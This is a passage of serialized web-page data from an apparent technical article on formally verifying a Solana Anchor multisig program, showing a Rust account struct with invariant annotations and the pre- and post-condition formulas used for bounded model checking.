wallet account:",{"type":26,"tag":465,"props":20651,"children":20653},{"code":20652,"language":2684,"meta":7,"className":2685,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[20654],{"type":26,"tag":53,"props":20655,"children":20656},{"__ignoreMap":7},[20657,20664,20671,20701,20760,20789,20841,20848,20869,20899,20929,20959,20988,21018,21048,21077,21117],{"type":26,"tag":475,"props":20658,"children":20659},{"class":477,"line":478},[20660],{"type":26,"tag":475,"props":20661,"children":20662},{"style":499},[20663],{"type":32,"value":20478},{"type":26,"tag":475,"props":20665,"children":20666},{"class":477,"line":516},[20667],{"type":26,"tag":475,"props":20668,"children":20669},{"style":499},[20670],{"type":32,"value":20486},{"type":26,"tag":475,"props":20672,"children":20673},{"class":477,"line":539},[20674,20679,20683,20687,20692,20696],{"type":26,"tag":475,"props":20675,"children":20676},{"style":714},[20677],{"type":32,"value":20678}," !",{"type":26,"tag":475,"props":20680,"children":20681},{"style":499},[20682],{"type":32,"value":13420},{"type":26,"tag":475,"props":20684,"children":20685},{"style":714},[20686],{"type":32,"value":353},{"type":26,"tag":475,"props":20688,"children":20689},{"style":499},[20690],{"type":32,"value":20691},"keys",{"type":26,"tag":475,"props":20693,"children":20694},{"style":714},[20695],{"type":32,"value":353},{"type":26,"tag":475,"props":20697,"children":20698},{"style":499},[20699],{"type":32,"value":20700},"is_empty()\n",{"type":26,"tag":475,"props":20702,"children":20703},{"class":477,"line":548},[20704,20708,20713,20717,20721,20725,20730,20734,20739,20743,20748,20752,20756],{"type":26,"tag":475,"props":20705,"children":20706},{"style":714},[20707],{"type":32,"value":15327},{"type":26,"tag":475,"props":20709,"children":20710},{"style":499},[20711],{"type":32,"value":20712}," (self",{"type":26,"tag":475,"props":20714,"children":20715},{"style":714},[20716],{"type":32,"value":353},{"type":26,"tag":475,"props":20718,"children":20719},{"style":499},[20720],{"type":32,"value":20691},{"type":26,"tag":475,"props":20722,"children":20723},{"style":714},[20724],{"type":32,"value":353},{"type":26,"tag":475,"props":20726,"children":20727},{"style":499},[20728],{"type":32,"value":20729},"len() ",{"type":26,"tag":475,"props":20731,"children":20732},{"style":714},[20733],{"type":32,"value":19123},{"type":26,"tag":475,"props":20735,"children":20736},{"style":505},[20737],{"type":32,"value":20738}," u16",{"type":26,"tag":475,"props":20740,"children":20741},{"style":714},[20742],{"type":32,"value":3187},{"type":26,"tag":475,"props":20744,"children":20745},{"style":505},[20746],{"type":32,"value":20747},"MAX",{"type":26,"tag":475,"props":20749,"children":20750},{"style":482},[20751],{"type":32,"value":8539},{"type":26,"tag":475,"props":20753,"children":20754},{"style":505},[20755],{"type":32,"value":13438},{"type":26,"tag":475,"props":20757,"children":20758},{"style":499},[20759],{"type":32,"value":647},{"type":26,"tag":475,"props":20761,"children":20762},{"class":477,"line":558},[20763,20767,20771,20775,20780,20784],{"type":26,"tag":475,"props":20764,"children":20765},{"style":714},[20766],{"type":32,"value":15327},{"type":26,"tag":475,"props":20768,"children":20769},{"style":499},[20770],{"type":32,"value":20712},{"type":26,"tag":475,"props":20772,"children":20773},{"style":714},[20774],{"type":32,"value":353},{"type":26,"tag":475,"props":20776,"children":20777},{"style":499},[20778],{"type":32,"value":20779},"threshold ",{"type":26,"tag":475,"props":20781,"children":20782},{"style":714},[20783],{"type":32,"value":9652},{"type":26,"tag":475,"props":20785,"children":20786},{"style":499},[20787],{"type":32,"value":20788}," 1)\n",{"type":26,"tag":475,"props":20790,"children":20791},{"class":477,"line":582},[20792,20796,20800,20804,20808,20812,20816,20820,20824,20828,20832,20836],{"type":26,"tag":475,"props":20793,"children":20794},{"style":714},[20795],{"type":32,"value":15327},{"type":26,"tag":475,"props":20797,"children":20798},{"style":499},[20799],{"type":32,"value":20712},{"type":26,"tag":475,"props":20801,"children":20802},{"style":714},[20803],{"type":32,"value":353},{"type":26,"tag":475,"props":20805,"children":20806},{"style":499},[20807],{"type":32,"value":20779},{"type":26,"tag":475,"props":20809,"children":20810},{"style":482},[20811],{"type":32,"value":8553},{"type":26,"tag":475,"props":20813,"children":20814},{"style":505},[20815],{"type":32,"value":13438},{"type":26,"tag":475,"props":20817,"children":20818},{"style":714},[20819],{"type":32,"value":7908},{"type":26,"tag":475,"props":20821,"children":20822},{"style":499},[20823],{"type":32,"value":13504},{"type":26,"tag":475,"props":20825,"children":20826},{"style":714},[20827],{"type":32,"value":353},{"type":26,"tag":475,"props":20829,"children":20830},{"style":499},[20831],{"type":32,"value":20691},{"type":26,"tag":475,"props":20833,"children":20834},{"style":714},[20835],{"type":32,"value":353},{"type":26,"tag":475,"props":20837,"children":20838},{"style":499},[20839],{"type":32,"value":20840},"len())\n",{"type":26,"tag":475,"props":20842,"children":20843},{"class":477,"line":596},[20844],{"type":26,"tag":475,"props":20845,"children":20846},{"style":499},[20847],{"type":32,"value":19966},{"type":26,"tag":475,"props":20849,"children":20850},{"class":477,"line":610},[20851,20855,20860,20865],{"type":26,"tag":475,"props":20852,"children":20853},{"style":482},[20854],{"type":32,"value":13397},{"type":26,"tag":475,"props":20856,"children":20857},{"style":482},[20858],{"type":32,"value":20859}," struct",{"type":26,"tag":475,"props":20861,"children":20862},{"style":505},[20863],{"type":32,"value":20864}," Ms",{"type":26,"tag":475,"props":20866,"children":20867},{"style":499},[20868],{"type":32,"value":579},{"type":26,"tag":475,"props":20870,"children":20871},{"class":477,"line":650},[20872,20876,20881,20885,20889,20894],{"type":26,"tag":475,"props":20873,"children":20874},{"style":482},[20875],{"type":32,"value":20551},{"type":26,"tag":475,"props":20877,"children":20878},{"style":2375},[20879],{"type":32,"value":20880}," threshold",{"type":26,"tag":475,"props":20882,"children":20883},{"style":714},[20884],{"type":32,"value":179},{"type":26,"tag":475,"props":20886,"children":20887},{"style":505},[20888],{"type":32,"value":20738},{"type":26,"tag":475,"props":20890,"children":20891},{"style":499},[20892],{"type":32,"value":20893},", ",{"type":26,"tag":475,"props":20895,"children":20896},{"style":552},[20897],{"type":32,"value":20898},"// threshold for signatures\n",{"type":26,"tag":475,"props":20900,"children":20901},{"class":477,"line":679},[20902,20906,20911,20915,20919,20924],{"type":26,"tag":475,"props":20903,"children":20904},{"style":482},[20905],{"type":32,"value":20551},{"type":26,"tag":475,"props":20907,"children":20908},{"style":2375},[20909],{"type":32,"value":20910}," authority_index",{"type":26,"tag":475,"props":20912,"children":20913},{"style":714},[20914],{"type":32,"value":179},{"type":26,"tag":475,"props":20916,"children":20917},{"style":505},[20918],{"type":32,"value":20738},{"type":26,"tag":475,"props":20920,"children":20921},{"style":499},[20922],{"type":32,"value":20923},", ",{"type":26,"tag":475,"props":20925,"children":20926},{"style":552},[20927],{"type":32,"value":20928},"// index to seed other authorities under this multisig\n",{"type":26,"tag":475,"props":20930,"children":20931},{"class":477,"line":735},[20932,20936,20941,20945,20949,20954],{"type":26,"tag":475,"props":20933,"children":20934},{"style":482},[20935],{"type":32,"value":20551},{"type":26,"tag":475,"props":20937,"children":20938},{"style":2375},[20939],{"type":32,"value":20940}," transaction_index",{"type":26,"tag":475,"props":20942,"children":20943},{"style":714},[20944],{"type":32,"value":179},{"type":26,"tag":475,"props":20946,"children":20947},{"style":505},[20948],{"type":32,"value":17256},{"type":26,"tag":475,"props":20950,"children":20951},{"style":499},[20952],{"type":32,"value":20953},", ",{"type":26,"tag":475,"props":20955,"children":20956},{"style":552},[20957],{"type":32,"value":20958},"// look up and seed reference for transactions\n",{"type":26,"tag":475,"props":20960,"children":20961},{"class":477,"line":744},[20962,20966,20971,20975,20979,20983],{"type":26,"tag":475,"props":20963,"children":20964},{"style":482},[20965],{"type":32,"value":20551},{"type":26,"tag":475,"props":20967,"children":20968},{"style":2375},[20969],{"type":32,"value":20970}," ms_change_index",{"type":26,"tag":475,"props":20972,"children":20973},{"style":714},[20974],{"type":32,"value":179},{"type":26,"tag":475,"props":20976,"children":20977},{"style":505},[20978],{"type":32,"value":17256},{"type":26,"tag":475,"props":20980,"children":20981},{"style":499},[20982],{"type":32,"value":20923},{"type":26,"tag":475,"props":20984,"children":20985},{"style":552},[20986],{"type":32,"value":20987},"// the last executed/closed transaction\n",{"type":26,"tag":475,"props":20989,"children":20990},{"class":477,"line":753},[20991,20995,21000,21004,21008,21013],{"type":26,"tag":475,"props":20992,"children":20993},{"style":482},[20994],{"type":32,"value":20551},{"type":26,"tag":475,"props":20996,"children":20997},{"style":2375},[20998],{"type":32,"value":20999}," bump",{"type":26,"tag":475,"props":21001,"children":21002},{"style":714},[21003],{"type":32,"value":179},{"type":26,"tag":475,"props":21005,"children":21006},{"style":505},[21007],{"type":32,"value":14341},{"type":26,"tag":475,"props":21009,"children":21010},{"style":499},[21011],{"type":32,"value":21012},", ",{"type":26,"tag":475,"props":21014,"children":21015},{"style":552},[21016],{"type":32,"value":21017},"// bump for the multisig seed\n",{"type":26,"tag":475,"props":21019,"children":21020},{"class":477,"line":761},[21021,21025,21030,21034,21038,21043],{"type":26,"tag":475,"props":21022,"children":21023},{"style":482},[21024],{"type":32,"value":20551},{"type":26,"tag":475,"props":21026,"children":21027},{"style":2375},[21028],{"type":32,"value":21029}," create_key",{"type":26,"tag":475,"props":21031,"children":21032},{"style":714},[21033],{"type":32,"value":179},{"type":26,"tag":475,"props":21035,"children":21036},{"style":505},[21037],{"type":32,"value":20565},{"type":26,"tag":475,"props":21039,"children":21040},{"style":499},[21041],{"type":32,"value":21042},", ",{"type":26,"tag":475,"props":21044,"children":21045},{"style":552},[21046],{"type":32,"value":21047},"// random key(or not) used to seed the multisig pda\n",{"type":26,"tag":475,"props":21049,"children":21050},{"class":477,"line":770},[21051,21055,21060,21064,21068,21072],{"type":26,"tag":475,"props":21052,"children":21053},{"style":482},[21054],{"type":32,"value":20551},{"type":26,"tag":475,"props":21056,"children":21057},{"style":2375},[21058],{"type":32,"value":21059}," allow_external_execute",{"type":26,"tag":475,"props":21061,"children":21062},{"style":714},[21063],{"type":32,"value":179},{"type":26,"tag":475,"props":21065,"children":21066},{"style":505},[21067],{"type":32,"value":11759},{"type":26,"tag":475,"props":21069,"children":21070},{"style":499},[21071],{"type":32,"value":637},{"type":26,"tag":475,"props":21073,"children":21074},{"style":552},[21075],{"type":32,"value":21076},"// allow non-member keys to execute txs\n",{"type":26,"tag":475,"props":21078,"children":21079},{"class":477,"line":794},[21080,21084,21089,21093,21098,21102,21107,21112],{"type":26,"tag":475,"props":21081,"children":21082},{"style":482},[21083],{"type":32,"value":20551},{"type":26,"tag":475,"props":21085,"children":21086},{"style":2375},[21087],{"type":32,"value":21088}," keys",{"type":26,"tag":475,"props":21090,"children":21091},{"style":714},[21092],{"type":32,"value":179},{"type":26,"tag":475,"props":21094,"children":21095},{"style":505},[21096],{"type":32,"value":21097}," Vec",{"type":26,"tag":475,"props":21099,"children":21100},{"style":499},[21101],{"type":32,"value":5519},{"type":26,"tag":475,"props":21103,"children":21104},{"style":505},[21105],{"type":32,"value":21106},"Pubkey",{"type":26,"tag":475,"props":21108,"children":21109},{"style":499},[21110],{"type":32,"value":21111},">, ",{"type":26,"tag":475,"props":21113,"children":21114},{"style":552},[21115],{"type":32,"value":21116},"// keys of the members\n",{"type":26,"tag":475,"props":21118,"children":21119},{"class":477,"line":831},[21120],{"type":26,"tag":475,"props":21121,"children":21122},{"style":499},[21123],{"type":32,"value":3607},{"type":26,"tag":35,"props":21125,"children":21126},{},[21127],{"type":32,"value":21128},"Here we are verifying multiple things at once:",{"type":26,"tag":82,"props":21130,"children":21131},{},[21132,21143,21154,21165],{"type":26,"tag":86,"props":21133,"children":21134},{},[21135,21141],{"type":26,"tag":53,"props":21136,"children":21138},{"className":21137},[],[21139],{"type":32,"value":21140},"!self.keys.is_empty()",{"type":32,"value":21142}," : ensure there is at least one member",{"type":26,"tag":86,"props":21144,"children":21145},{},[21146,21152],{"type":26,"tag":53,"props":21147,"children":21149},{"className":21148},[],[21150],{"type":32,"value":21151},"self.keys.len() \u003C= u16::MAX as usize",{"type":32,"value":21153}," : set an upper limit of 65535 members",{"type":26,"tag":86,"props":21155,"children":21156},{},[21157,21163],{"type":26,"tag":53,"props":21158,"children":21160},{"className":21159},[],[21161],{"type":32,"value":21162},"self.threshold >= 1",{"type":32,"value":21164}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":26,"tag":86,"props":21166,"children":21167},{},[21168,21174],{"type":26,"tag":53,"props":21169,"children":21171},{"className":21170},[],[21172],{"type":32,"value":21173},"self.threshold as usize \u003C= self.keys.len()",{"type":32,"value":21175}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":26,"tag":27,"props":21177,"children":21179},{"id":21178},"verification-how-do-we-check-that-our-model-is-correct",[21180],{"type":32,"value":21181},"Verification: How do we check that our model is correct?",{"type":26,"tag":35,"props":21183,"children":21184},{},[21185,21187,21191,21193,21198],{"type":32,"value":21186},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":26,"tag":2615,"props":21188,"children":21189},{},[21190],{"type":32,"value":19677},{"type":32,"value":21192}," on which we can run bounded model checking. Our tool does this ",{"type":26,"tag":2615,"props":21194,"children":21195},{},[21196],{"type":32,"value":21197},"automagically",{"type":32,"value":21199}," for anchor-lang programs.",{"type":26,"tag":35,"props":21201,"children":21202},{},[21203,21205,21211,21213,21218,21220,21225,21226,21231,21233,21238,21240,21245,21246,21252,21254,21260,21261,21267],{"type":32,"value":21204},"Specifically, for a given ",{"type":26,"tag":53,"props":21206,"children":21208},{"className":21207},[],[21209],{"type":32,"value":21210},"Context\u003CT>",{"type":32,"value":21212}," with ",{"type":26,"tag":2615,"props":21214,"children":21215},{},[21216],{"type":32,"value":21217},"incoming",{"type":32,"value":21219}," accounts of types (",{"type":26,"tag":53,"props":21221,"children":21223},{"className":21222},[],[21224],{"type":32,"value":20448},{"type":32,"value":4292},{"type":26,"tag":53,"props":21227,"children":21229},{"className":21228},[],[21230],{"type":32,"value":3430},{"type":32,"value":21232},") and ",{"type":26,"tag":2615,"props":21234,"children":21235},{},[21236],{"type":32,"value":21237},"outgoing",{"type":32,"value":21239}," accounts of type (",{"type":26,"tag":53,"props":21241,"children":21243},{"className":21242},[],[21244],{"type":32,"value":3430},{"type":32,"value":4292},{"type":26,"tag":53,"props":21247,"children":21249},{"className":21248},[],[21250],{"type":32,"value":21251},"close",{"type":32,"value":21253},") we define a ",{"type":26,"tag":53,"props":21255,"children":21257},{"className":21256},[],[21258],{"type":32,"value":21259},"pre_condition",{"type":32,"value":209},{"type":26,"tag":53,"props":21262,"children":21264},{"className":21263},[],[21265],{"type":32,"value":21266},"post_condition",{"type":32,"value":21268}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":26,"tag":35,"props":21270,"children":21271},{},[21272],{"type":26,"tag":53,"props":21273,"children":21275},{"className":21274},[3691,3692],[21276],{"type":26,"tag":475,"props":21277,"children":21279},{"className":21278},[3697],[21280],{"type":26,"tag":475,"props":21281,"children":21283},{"className":21282,"ariaHidden":3703},[3702],[21284,21320],{"type":26,"tag":475,"props":21285,"children":21287},{"className":21286},[3708],[21288,21293,21301,21306,21310,21316],{"type":26,"tag":475,"props":21289,"children":21292},{"className":21290,"style":21291},[3713],"height:0.6833em;",[],{"type":26,"tag":475,"props":21294,"children":21298},{"className":21295,"style":21297},[3719,21296],"mathnormal","margin-right:0.13889em;",[21299],{"type":32,"value":21300},"P",{"type":26,"tag":475,"props":21302,"children":21304},{"className":21303},[3719],[21305],{"type":32,"value":3732},{"type":26,"tag":475,"props":21307,"children":21309},{"className":21308,"style":3898},[3800],[],{"type":26,"tag":475,"props":21311,"children":21313},{"className":21312},[3903],[21314],{"type":32,"value":21315},":=",{"type":26,"tag":475,"props":21317,"children":21319},{"className":21318,"style":3898},[3800],[],{"type":26,"tag":475,"props":21321,"children":21323},{"className":21322},[3708],[21324,21329,21469,21473],{"type":26,"tag":475,"props":21325,"children":21328},{"className":21326,"style":21327},[3713],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":26,"tag":475,"props":21330,"children":21333},{"className":21331},[21332],"mop",[21334,21343],{"type":26,"tag":475,"props":21335,"children":21340},{"className":21336,"style":21339},[21332,21337,21338],"op-symbol","small-op","position:relative;top:0em;",[21341],{"type":32,"value":21342},"⋀",{"type":26,"tag":475,"props":21344,"children":21346},{"className":21345},[3736],[21347],{"type":26,"tag":475,"props":21348,"children":21351},{"className":21349},[3741,21350],"vlist-t2",[21352,21457],{"type":26,"tag":475,"props":21353,"children":21355},{"className":21354},[3746],[21356,21450],{"type":26,"tag":475,"props":21357,"children":21360},{"className":21358,"style":21359},[3751],"height:0.2253em;",[21361],{"type":26,"tag":475,"props":21362,"children":21364},{"style":21363},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[21365,21369],{"type":26,"tag":475,"props":21366,"children":21368},{"className":21367,"style":3761},[3760],[],{"type":26,"tag":475,"props":21370,"children":21372},{"className":21371},[3766,3767,3768,3769],[21373],{"type":26,"tag":475,"props":21374,"children":21376},{"className":21375},[3719,3769],[21377,21382,21388,21398,21404,21413,21422,21428,21433,21439,21444],{"type":26,"tag":475,"props":21378,"children":21380},{"className":21379},[3719,21296,3769],[21381],{"type":32,"value":116},{"type":26,"tag":475,"props":21383,"children":21385},{"className":21384},[3719,21296,3769],[21386],{"type":32,"value":21387},"cc",{"type":26,"tag":475,"props":21389,"children":21391},{"className":21390},[3800,3769],[21392],{"type":26,"tag":475,"props":21393,"children":21395},{"className":21394},[3769],[21396],{"type":32,"value":21397}," ",{"type":26,"tag":475,"props":21399,"children":21401},{"className":21400},[3903,3769],[21402],{"type":32,"value":21403},"∈",{"type":26,"tag":475,"props":21405,"children":21407},{"className":21406},[3800,3769],[21408],{"type":26,"tag":475,"props":21409,"children":21411},{"className":21410},[3769],[21412],{"type":32,"value":21397},{"type":26,"tag":475,"props":21414,"children":21416},{"className":21415},[3719,32,3769],[21417],{"type":26,"tag":475,"props":21418,"children":21420},{"className":21419},[3719,3769],[21421],{"type":32,"value":21217},{"type":26,"tag":475,"props":21423,"children":21426},{"className":21424},[21425,3769],"mopen",[21427],{"type":32,"value":626},{"type":26,"tag":475,"props":21429,"children":21431},{"className":21430},[3719,21296,3769],[21432],{"type":32,"value":2854},{"type":26,"tag":475,"props":21434,"children":21436},{"className":21435},[3719,21296,3769],[21437],{"type":32,"value":21438},"t",{"type":26,"tag":475,"props":21440,"children":21442},{"className":21441},[3719,21296,3769],[21443],{"type":32,"value":18984},{"type":26,"tag":475,"props":21445,"children":21448},{"className":21446},[21447,3769],"mclose",[21449],{"type":32,"value":2835},{"type":26,"tag":475,"props":21451,"children":21454},{"className":21452},[21453],"vlist-s",[21455],{"type":32,"value":21456},"​",{"type":26,"tag":475,"props":21458,"children":21460},{"className":21459},[3746],[21461],{"type":26,"tag":475,"props":21462,"children":21465},{"className":21463,"style":21464},[3751],"height:0.4747em;",[21466],{"type":26,"tag":475,"props":21467,"children":21468},{},[],{"type":26,"tag":475,"props":21470,"children":21472},{"className":21471,"style":3839},[3800],[],{"type":26,"tag":475,"props":21474,"children":21476},{"className":21475},[3719],[21477,21487,21492,21497,21502],{"type":26,"tag":475,"props":21478,"children":21480},{"className":21479},[3719,32],[21481],{"type":26,"tag":475,"props":21482,"children":21484},{"className":21483},[3719],[21485],{"type":32,"value":21486},"invariant",{"type":26,"tag":475,"props":21488,"children":21490},{"className":21489},[21425],[21491],{"type":32,"value":626},{"type":26,"tag":475,"props":21493,"children":21495},{"className":21494},[3719,21296],[21496],{"type":32,"value":116},{"type":26,"tag":475,"props":21498,"children":21500},{"className":21499},[3719,21296],[21501],{"type":32,"value":21387},{"type":26,"tag":475,"props":21503,"children":21505},{"className":21504},[21447],[21506],{"type":32,"value":2835},{"type":26,"tag":35,"props":21508,"children":21509},{},[21510],{"type":26,"tag":53,"props":21511,"children":21513},{"className":21512},[3691,3692],[21514],{"type":26,"tag":475,"props":21515,"children":21517},{"className":21516},[3697],[21518],{"type":26,"tag":475,"props":21519,"children":21521},{"className":21520,"ariaHidden":3703},[3702],[21522,21553],{"type":26,"tag":475,"props":21523,"children":21525},{"className":21524},[3708],[21526,21530,21535,21540,21544,21549],{"type":26,"tag":475,"props":21527,"children":21529},{"className":21528,"style":21291},[3713],[],{"type":26,"tag":475,"props":21531,"children":21533},{"className":21532,"style":21297},[3719,21296],[21534],{"type":32,"value":21300},{"type":26,"tag":475,"props":21536,"children":21538},{"className":21537},[3719],[21539],{"type":32,"value":3722},{"type":26,"tag":475,"props":21541,"children":21543},{"className":21542,"style":3898},[3800],[],{"type":26,"tag":475,"props":21545,"children":21547},{"className":21546},[3903],[21548],{"type":32,"value":21315},{"type":26,"tag":475,"props":21550,"children":21552},{"className":21551,"style":3898},[3800],[],{"type":26,"tag":475,"props":21554,"children":21556},{"className":21555},[3708],[21557,21561,21684,21688],{"type":26,"tag":475,"props":21558,"children":21560},{"className":21559,"style":21327},[3713],[],{"type":26,"tag":475,"props":21562,"children":21564},{"className":21563},[21332],[21565,21570],{"type":26,"tag":475,"props":21566,"children":21568},{"className":21567,"style":21339},[21332,21337,21338],[21569],{"type":32,"value":21342},{"type":26,"tag":475,"props":21571,"children":21573},{"className":21572},[3736],[21574],{"type":26,"tag":475,"props":21575,"children":21577},{"className":21576},[3741,21350],[21578,21673],{"type":26,"tag":475,"props":21579,"children":21581},{"className":21580},[3746],[21582,21668],{"type":26,"tag":475,"props":21583,"children":21585},{"className":21584,"style":21359},[3751],[21586],{"type":26,"tag":475,"props":21587,"children":21588},{"style":21363},[21589,21593],{"type":26,"tag":475,"props":21590,"children":21592},{"className":21591,"style":3761},[3760],[],{"type":26,"tag":475,"props":21594,"children":21596},{"className":21595},[3766,3767,3768,3769],[21597],{"type":26,"tag":475,"props":21598,"children":21600},{"className":21599},[3719,3769],[21601,21606,21611,21620,21625,21634,21643,21648,21653,21658,21663],{"type":26,"tag":475,"props":21602,"children":21604},{"className":21603},[3719,21296,3769],[21605],{"type":32,"value":116},{"type":26,"tag":475,"props":21607,"children":21609},{"className":21608},[3719,21296,3769],[21610],{"type":32,"value":21387},{"type":26,"tag":475,"props":21612,"children":21614},{"className":21613},[3800,3769],[21615],{"type":26,"tag":475,"props":21616,"children":21618},{"className":21617},[3769],[21619],{"type":32,"value":21397},{"type":26,"tag":475,"props":21621,"children":21623},{"className":21622},[3903,3769],[21624],{"type":32,"value":21403},{"type":26,"tag":475,"props":21626,"children":21628},{"className":21627},[3800,3769],[21629],{"type":26,"tag":475,"props":21630,"children":21632},{"className":21631},[3769],[21633],{"type":32,"value":21397},{"type":26,"tag":475,"props":21635,"children":21637},{"className":21636},[3719,32,3769],[21638],{"type":26,"tag":475,"props":21639,"children":21641},{"className":21640},[3719,3769],[21642],{"type":32,"value":21237},{"type":26,"tag":475,"props":21644,"children":21646},{"className":21645},[21425,3769],[21647],{"type":32,"value":626},{"type":26,"tag":475,"props":21649,"children":21651},{"className":21650},[3719,21296,3769],[21652],{"type":32,"value":2854},{"type":26,"tag":475,"props":21654,"children":21656},{"className":21655},[3719,21296,3769],[21657],{"type":32,"value":21438},{"type":26,"tag":475,"props":21659,"children":21661},{"className":21660},[3719,21296,3769],[21662],{"type":32,"value":18984},{"type":26,"tag":475,"props":21664,"children":21666},{"className":21665},[21447,3769],[21667],{"type":32,"value":2835},{"type":26,"tag":475,"props":21669,"children":21671},{"className":21670},[21453],[21672],{"type":32,"value":21456},{"type":26,"tag":475,"props":21674,"children":21676},{"className":21675},[3746],[21677],{"type":26,"tag":475,"props":21678,"children":21680},{"className":21679,"style":21464},[3751],[21681],{"type":26,"tag":475,"props":21682,"children":21683},{},[],{"type":26,"tag":475,"props":21685,"children":21687},{"className":21686,"style":3839},[3800],[],{"type":26,"tag":475,"props":21689,"children":21691},{"className":21690},[3719],[21692,21701,21706,21711,21716],{"type":26,"tag":475,"props":21693,"children":21695},{"className":21694},[3719,32],[21696],{"type":26,"tag":475,"props":21697,"children":21699},{"className":21698},[3719],[21700],{"type":32,"value":21486},{"type":26,"tag":475,"props":21702,"children":21704},{"className":21703},[21425],[21705],{"type":32,"value":626},{"type":26,"tag":475,"props":21707,"children":21709},{"className":21708},[3719,21296],[21710],{"type":32,"value":116},{"type":26,"tag":475,"props":21712,"children":21714},{"className":21713},[3719,21296],[21715],{"type":32,"value":21387},{"type":26,"tag":475,"props":21717,"children":21719},{"className":21718},[21447],[21720],{"type":32,"value":2835},{"type":26,"tag":35,"props":21722,"children":21723},{},[21724],{"type":32,"value":21725},"Our instruction invariants are represented as:",{"type":26,"tag":82,"props":21727,"children":21728},{},[21729,21765],{"type":26,"tag":86,"props":21730,"children":21731},{},[21732,21759,21760],{"type":26,"tag":53,"props":21733,"children":21735},{"className":21734},[3691,3692],[21736],{"type":26,"tag":475,"props":21737,"children":21739},{"className":21738},[3697],[21740],{"type":26,"tag":475,"props":21741,"children":21743},{"className":21742,"ariaHidden":3703},[3702],[21744],{"type":26,"tag":475,"props":21745,"children":21747},{"className":21746},[3708],[21748,21752],{"type":26,"tag":475,"props":21749,"children":21751},{"className":21750,"style":21291},[3713],[],{"type":26,"tag":475,"props":21753,"children":21756},{"className":21754,"style":21755},[3719,21296],"margin-right:0.05764em;",[21757],{"type":32,"value":21758},"S",{"type":32,"value":15037},{"type":26,"tag":53,"props":21761,"children":21763},{"className":21762},[],[21764],{"type":32,"value":19862},{"type":26,"tag":86,"props":21766,"children":21767},{},[21768,21794,21795],{"type":26,"tag":53,"props":21769,"children":21771},{"className":21770},[3691,3692],[21772],{"type":26,"tag":475,"props":21773,"children":21775},{"className":21774},[3697],[21776],{"type":26,"tag":475,"props":21777,"children":21779},{"className":21778,"ariaHidden":3703},[3702],[21780],{"type":26,"tag":475,"props":21781,"children":21783},{"className":21782},[3708],[21784,21788],{"type":26,"tag":475,"props":21785,"children":21787},{"className":21786,"style":21291},[3713],[],{"type":26,"tag":475,"props":21789,"children":21791},{"className":21790,"style":21755},[3719,21296],[21792],{"type":32,"value":21793},"E",{"type":32,"value":15037},{"type":26,"tag":53,"props":21796,"children":21798},{"className":21797},[],[21799],{"type":32,"value":19869},{"type":26,"tag":35,"props":21801,"children":21802},{},[21803,21805,21832,21834,21839,21841,21847],{"type":32,"value":21804},"And ",{"type":26,"tag":53,"props":21806,"children":21808},{"className":21807},[3691,3692],[21809],{"type":26,"tag":475,"props":21810,"children":21812},{"className":21811},[3697],[21813],{"type":26,"tag":475,"props":21814,"children":21816},{"className":21815,"ariaHidden":3703},[3702],[21817],{"type":26,"tag":475,"props":21818,"children":21820},{"className":21819},[3708],[21821,21825],{"type":26,"tag":475,"props":21822,"children":21824},{"className":21823,"style":21291},[3713],[],{"type":26,"tag":475,"props":21826,"children":21829},{"className":21827,"style":21828},[3719,21296],"margin-right:0.07153em;",[21830],{"type":32,"value":21831},"K",{"type":32,"value":21833}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":26,"tag":53,"props":21835,"children":21837},{"className":21836},[],[21838],{"type":32,"value":20197},{"type":32,"value":21840}," not an ",{"type":26,"tag":53,"props":21842,"children":21844},{"className":21843},[],[21845],{"type":32,"value":21846},"Err",{"type":32,"value":20450},{"type":26,"tag":35,"props":21849,"children":21850},{},[21851],{"type":32,"value":21852},"In order to verify these conditions we need to verify three cases:",{"type":26,"tag":41,"props":21854,"children":21856},{"id":21855},"account-invariants-1",[21857],{"type":32,"value":21858},"Account invariants",{"type":26,"tag":35,"props":21860,"children":21861},{},[21862,21864,21895,21897,21927,21929,21959],{"type":32,"value":21863},"After we execute an instruction, either the function should error and be reverted (",{"type":26,"tag":53,"props":21865,"children":21867},{"className":21866},[3691,3692],[21868],{"type":26,"tag":475,"props":21869,"children":21871},{"className":21870},[3697],[21872],{"type":26,"tag":475,"props":21873,"children":21875},{"className":21874,"ariaHidden":3703},[3702],[21876],{"type":26,"tag":475,"props":21877,"children":21879},{"className":21878},[3708],[21880,21884,21890],{"type":26,"tag":475,"props":21881,"children":21883},{"className":21882,"style":21291},[3713],[],{"type":26,"tag":475,"props":21885,"children":21887},{"className":21886},[3719],[21888],{"type":32,"value":21889},"¬",{"type":26,"tag":475,"props":21891,"children":21893},{"className":21892,"style":21828},[3719,21296],[21894],{"type":32,"value":21831},{"type":32,"value":21896},") or the account post-invariants should hold (",{"type":26,"tag":53,"props":21898,"children":21900},{"className":21899},[3691,3692],[21901],{"type":26,"tag":475,"props":21902,"children":21904},{"className":21903},[3697],[21905],{"type":26,"tag":475,"props":21906,"children":21908},{"className":21907,"ariaHidden":3703},[3702],[21909],{"type":26,"tag":475,"props":21910,"children":21912},{"className":21911},[3708],[21913,21917,21922],{"type":26,"tag":475,"props":21914,"children":21916},{"className":21915,"style":21291},[3713],[],{"type":26,"tag":475,"props":21918,"children":21920},{"className":21919,"style":21297},[3719,21296],[21921],{"type":32,"value":21300},{"type":26,"tag":475,"props":21923,"children":21925},{"className":21924},[3719],[21926],{"type":32,"value":3722},{"type":32,"value":21928},"). Furthermore, we can assume that before executing a function, the account pre-invariants 